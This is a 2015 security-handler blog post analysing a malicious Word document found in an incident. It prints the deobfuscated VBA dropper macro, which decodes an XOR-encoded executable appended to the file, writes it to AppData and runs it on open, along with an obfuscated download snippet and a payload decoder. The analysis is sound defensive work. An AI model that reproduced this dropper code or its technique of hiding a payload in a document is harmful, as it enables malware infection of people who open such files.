Last Updated: 2015-11-14 07:45:24 UTC
by Xavier Mertens (Version: 1)
This week, I was busy with an incident which involved an interesting malicious Word document. OLE documents with malicious macros are not new, I receive a few of them every day in my mail trap. Until they remain a great way to compromise end-user computers, the flood won't stop. Usually, the macro is executed (the user is asked to enable its execution using social engineering traps like "The content of this document is protected, enable macros to view it") and downloads a new payload via the object MSXML2.ServerXMLHTTP. Here is an example of an obfuscation object construction to perform a GET request:
BHJQWGDHJQWGDWQ = "MSXML2." & "Ser" & "ver" & "X" & "MLH" & "TT" & "P" Set Tghafsdghqhjwgdhjqwgdjhqwgdqwd = CreateObject(BHJQWGDHJQWGDWQ) Tghafsdghqhjwgdhjqwgdjhqwgdqwd.Open "G" & "" & "ET", ggFw
The good point (or the bad point depending on the side you're located - attacker/defender) is that this helps to create interesting lists of IOCs with IP addresses, URLs, domains or filenames. It's quite easy to deobfuscate the macro and collect the IOCs.
In the incident I was involved, there was no network traffic generated by the malicious macro. The payload was already present and appended at the end the Word file. The document was generated in September 2015 and its VT score was only 2/43 (3 days ago). I was the first to submit it. The content of the document was properly formatted, with interesting information for the victim (of course). I used Didier Stevens's toolbox to analyze the document.
The document was created by a user "Helmut" the 3rd of September 2015. It contains 2 macros:
$ oledump.py malicious.doc 1: 121 '\x01CompObj' 2: 4096 '\x05DocumentSummaryInformation' 3: 4096 '\x05SummaryInformation' 4: 23860 '1Table' 5: 781575 'Data' 6: 486 'Macros/PROJECT' 7: 71 'Macros/PROJECTwm' 8: m 940 'Macros/VBA/ThisDocument' 9: 3256 'Macros/VBA/_VBA_PROJECT' 10: 569 'Macros/VBA/dir' 11: M 6052 'Macros/VBA/islamabad' 12: 257675 'WordDocument'
The interesting macro is in the section 11 (note the name: "islamabad" - the capital of Pakistan). It is a classic obfuscated macro that can be extracted via this command:
$ oledump.py -s 11 -v malicious.doc
[Note: I performed some cleanup and deobfuscation in the macro code to make it more readable]
Basically, the malicious payload (a classic PE file) is appended to the Word document with extra data: the size of the payload and a checksum. Let's review the code:
Attribute VB_Name = "islamabad" Public var_Filename1 As String Public var_Path1 As String
The first function performs a checksum of the extract binary stream:
Function func_Checksum(var_Data() As Byte, var_Len As Long) As Byte For I = 0 To var_Len - 1 func_Checksum = func_Checksum Xor var_Data(I) Next I End Function
The binary is XOR'd. The next function decodes it:
Function func_DecodeBinary(var_Data() As Byte, var_Len As Long) As Boolean Dim var_IV1 As Byte var_IV1 = 11 For I = 0 To var_Len - 1 var_Data(I) = var_Data(I) Xor var_IV1 var_IV1 = ((var_IV1 Xor 13) Xor (I Mod 256)) Next I func_DecodeBinary = True End Function
This function changes the document layout. (I don't know exactly the reason of this)
Function func_FormatDocument() As Boolean ActiveDocument.GrammarChecked = False ActiveDocument.SpellingChecked = False ActiveDocument.Select Selection.Font.ColorIndex = wdBlack Selection.Font.Underline = wdUnderlineNone Selection.HomeKey For Each sec In ActiveDocument.Sections For Each head In sec.Headers head.Range.Delete Next Next ViewDocument = True End Function Sub AutoClose() ActiveDocument.Save End Sub
And now the principal macro automatically executed when the document is opened:
Sub AutoOpen() On Error GoTo ErrorCondition1 Dim var_Dummy1 As Boolean var_Dummy1 = func_FormatDocument() Dim fh_File1 Dim var_Filesize As Long Dim var_BinarySize As Long Dim var_Checksum As Byte
We get the file size, open it and extract the checksum (located EOF -4) and the binary stream size (EOF -3).
var_Filesize = FileLen(ActiveDocument.FullName) fh_File1 = FreeFile Open (ActiveDocument.FullName) For Binary As #fh_File1 Get #fh_File1, (var_Filesize - 4), var_Checksum Get #fh_File1, (var_Filesize - 3), var_BinarySize If var_BinarySize < 8 Then GoTo ErrorCondition1 End If If (var_BinarySize + 4) > var_Filesize Then GoTo ErrorCondition1 End If
The script computes the starting position of the data stream and prepare a byte array with the correct size.
Dim var_Offset As Long var_Offset = var_Filesize - (var_BinarySize + 4) Dim var_BinaryData1() As Byte ReDim var_BinaryData1(var_BinarySize - 1)
Then, the binary file is extracted and decoded:
Get #fh_File1, var_Offset, var_BinaryData1 Close #fh_File1 If Not func_DecodeBinary(var_BinaryData1(), var_BinarySize) Then GoTo ErrorCondition1 End If
The checksum is verified:
Dim var_Dummy2 As Byte var_Dummy2 = func_Checksum(var_BinaryData1(), var_BinarySize) If var_Checksum <> var_Dummy2 Then GoTo ErrorCondition1 End If
The default path to drop the payload is obfuscated.
(Value = "appdata\Microsoft\Word")
var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97)) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(87) & Chr(111) & Chr(114) & Chr(100)
The object "Scripting.FileSystemObject" is also obfuscated:
Set var_Object1 = CreateObject("Scripting" & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116))
Just in case of the default path does not exists (which should not be the case because Word is present on the target system), the script uses another one ("appdata"):
If Not var_Object1.FolderExists(var_Path1) Then var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97)) End If Set var_Object1 = Nothing Dim fh_File2 fh_File2 = FreeFile
The dropped payload filename is also obfuscated and we create the file
Remark: I don't know why the filename is not dynamically generated with random characters. This could avoid the detection of the malicious binary on a file system.
var_Filename1 = var_Path1 & "\" & Chr(119) & Chr(102) & Chr(108) & Chr(101) & Chr(116) & Chr(120) & Chr(97) & Chr(118) & Chr(98) & Chr(46) & Chr(101) & Chr(120) & Chr(101) Open (var_Filename1) For Binary As #fh_File2 Put #fh_File2, 1, var_BinaryData1 Close #fh_File2 Erase var_BinaryData1
We are ready to execute it!
Set var_Object2 = CreateObject("WScript.Shell") var_Object2.Exec var_Filename1 Exit Sub ErrorCondition1: Close #fh_File1 Close #fh_File2 ActiveDocument.Save End Sub
By reversing the macro, we can guess the starting position of the binary and extract it manually via the Didier's cut-bytes.py tool. We need to skip the last bytes of the document (containing the payload size and checksum):
[Note: Didier added a new feature to his tools to help me to extract data: it's now possible to specify to ignore bytes at the end of the file (the '-5' part in the command line below)]
$ cut-bytes.py "<position>:-5" malicious.doc >binary.data $ file binary.data binary.data: data
The decoding function being in the macro, we can reuse it and write a specific decoder for the translate.py tool:
def FileDecode(input): output = '' code = 11 for iIter in range(len(input)): output += chr(ord(input[iIter]) ^ code) code = (code ^ 13) ^ (iIter % 256) return output
Finally, we can decode the binary and get a PE file:
$ cat binary.data | translate.py -f -s decoder_caseXXXX.py -o binary.exe FileDecode $ file binary.exe binary.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
This PE file was never sent to VirusTotal and is clearly malicious. More investigations are still ongoing.
The construction of the file (OLE document + PE file + checksum + PE file length) looks ideal to quickly allow the attackers to generate a new encoded PE file and just append it to the same Word document. I can't share the samples at this time, investigations are still ongoing.
ISC Handler - Freelance Security Consultant